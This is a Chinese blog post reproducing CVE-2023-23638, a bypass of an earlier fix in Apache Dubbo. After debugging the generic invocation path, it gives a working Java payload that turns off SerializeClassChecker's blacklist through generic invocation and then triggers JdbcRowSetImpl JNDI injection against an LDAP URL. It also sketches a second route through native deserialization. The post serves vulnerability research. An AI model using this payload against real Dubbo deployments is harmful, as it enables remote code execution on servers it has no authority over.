前言
长期可持续化摸鱼,偶尔学习,这个漏洞是上一篇漏洞的绕过漏洞。
CVE-2023-23638
漏洞影响:
2.7.x <= 2.7.21
3.0.x <= 3.0.13
3.1.x <= 3.1.5
根据文档,2.7.x版本的dubbo需要的zookeeper依赖为dubbo-dependencies-zookeeper,修改pom.xml中的dubbo版本为2.7.21,然后依次启动zookeeper和服务provider启动环境。
发现报错:
zookeeper not connected
但是调试的情况下又可以正常连接,说明问题不出在服务端,看到配置的连接超时时间为3000毫秒即3秒钟,尝试增加连接超时时间,修改provider的application.yml文件:
dubbo:
application:
name: dubbo-springboot-demo-provider
protocol:
name: dubbo
port: -1
registry:
address: zookeeper://${zookeeper.address:192.168.88.129}:2181
timeout: 5000
看到provider正常运行了:
[Dubbo] Current Spring Boot Application is await...
发现consumer中3.0版本下用的SimpleReferenceCache没有了,改用ReferenceConfig.get发现传输generic字段好像有点问题。
反复尝试后认为问题出在客户端,看到客户端用的连接字符串是:
dubbo://192.168.160.1:20880/org.apache.dubbo.springboot.demo.DemoService?anyhost=true&application=dubbo-springboot-demo-consumer&check=false&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&group=group1&interface=org.apache.dubbo.springboot.demo.DemoService&metadata-type=remote&methods=sayHello&pid=21712&qos.enable=false®ister.ip=192.168.160.1&release=2.7.21&remote.application=dubbo-springboot-demo-provider&revision=1.0&service.name=ServiceBean:group1/org.apache.dubbo.springboot.demo.DemoService:1.0&side=consumer&sticky=false×tamp=1683195382649&version=1.0
generic居然是false,难怪会有问题。
既然是URL构造有问题,那么根据参考文章,可以通过自行设置URL的方式解决:
referenceConfig.setUrl("dubbo://192.168.160.1:20880/org.apache.dubbo.springboot.demo.DemoService?" +
"application=dubbo-springboot-demo-consumer&" +
"generic=raw.return&" +
"interface=org.apache.dubbo.springboot.demo.DemoService&" +
"register.ip=xx.xx.xx.xx&" +
"remote.application=&scope=remote&" +
"side=consumer&sticky=false&" +
"timeout=3000000");
referenceConfig.setGeneric("raw.return");
这下就正常传输generic字段了。
调试一下,如果调用了setURL,就会进入这段代码:
if (url != null && url.length() > 0) { // user specified URL, could be peer-to-peer address, or register center's address.
String[] us = SEMICOLON_SPLIT_PATTERN.split(url);
if (us != null && us.length > 0) {
for (String u : us) {
URL url = URL.valueOf(u);
if (StringUtils.isEmpty(url.getPath())) {
url = url.setPath(interfaceName);
}
if (UrlUtils.isRegistry(url)) {
urls.add(url.addParameterAndEncoded(REFER_KEY, StringUtils.toQueryString(map)));
} else {
urls.add(ClusterUtils.mergeUrl(url, map));
}
}
}
}
而如果没有指定URL,就会去访问zookeeper查询服务信息,最后生成两个不同的invoker去访问服务端。
没有指定URL的invoker为MigrationInvoker,生成一个RpcInvocation后,会来到AbstractClusterInvoker类的invoke函数进行attachments的绑定:
// binding attachments into invocation.
Map<String, Object> contextAttachments = RpcContext.getContext().getObjectAttachments();
if (contextAttachments != null && contextAttachments.size() != 0) {
((RpcInvocation) invocation).addObjectAttachments(contextAttachments);
}
而前面执行的时候只set了ConsumerUrl,并没有处理这些attachments,导致generic字段没有了。
而指定URL的invoker为FilterNode,后续会走到GenericImplFilter:
String generic = invoker.getUrl().getParameter(GENERIC_KEY);
...
invocation.setAttachment(
GENERIC_KEY, invoker.getUrl().getParameter(GENERIC_KEY));
将generic字段添加了进去。
利用方式1
观察之前CVE漏洞的修复方式,对raw.return方式的修复方法为黑名单校验:
SerializeClassChecker.getInstance().validateClass((String) className);
黑名单存放在SerializeClassChecker类中,该类是一个单例模式,单例存放在静态属性INSTANCE中,且可以通过修改OPEN_CHECK_CLASS的方式关闭黑名单验证,因此可以使用成员赋值绕过黑名单:
GenericService genericService = buildGenericService("org.apache.dubbo.springboot.demo.DemoService",
"group1","1.0");
HashMap<String, Object> newChecker = new HashMap<>();
newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
newChecker.put("OPEN_CHECK_CLASS", false);
HashMap<String, Object> map1 = new HashMap<>();
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map1.put("INSTANCE", newChecker);
LinkedHashMap<String, Object> map2 = new LinkedHashMap<>();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");
map2.put("autoCommit", true);
HashMap<String, Object> bigMap = new HashMap<>();
bigMap.put("class", "java.util.HashMap");
bigMap.put("1", map1);
bigMap.put("2", map2);
Object result = genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{bigMap});
高版本JDK或许也可以通过System.setProperties修改系统配置来允许JNDI注入?懒得测试了。
利用方式2
对于原生反序列化的限制通过Configuration实现:
Configuration configuration = ApplicationModel.getEnvironment().getConfiguration();
if (!configuration.getBoolean(CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE, false)) {
...
throw new RpcException(new IllegalStateException(notice));
}
也可以通过System.setProperties修改,然后通过Java原生反序列化完成漏洞利用。
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!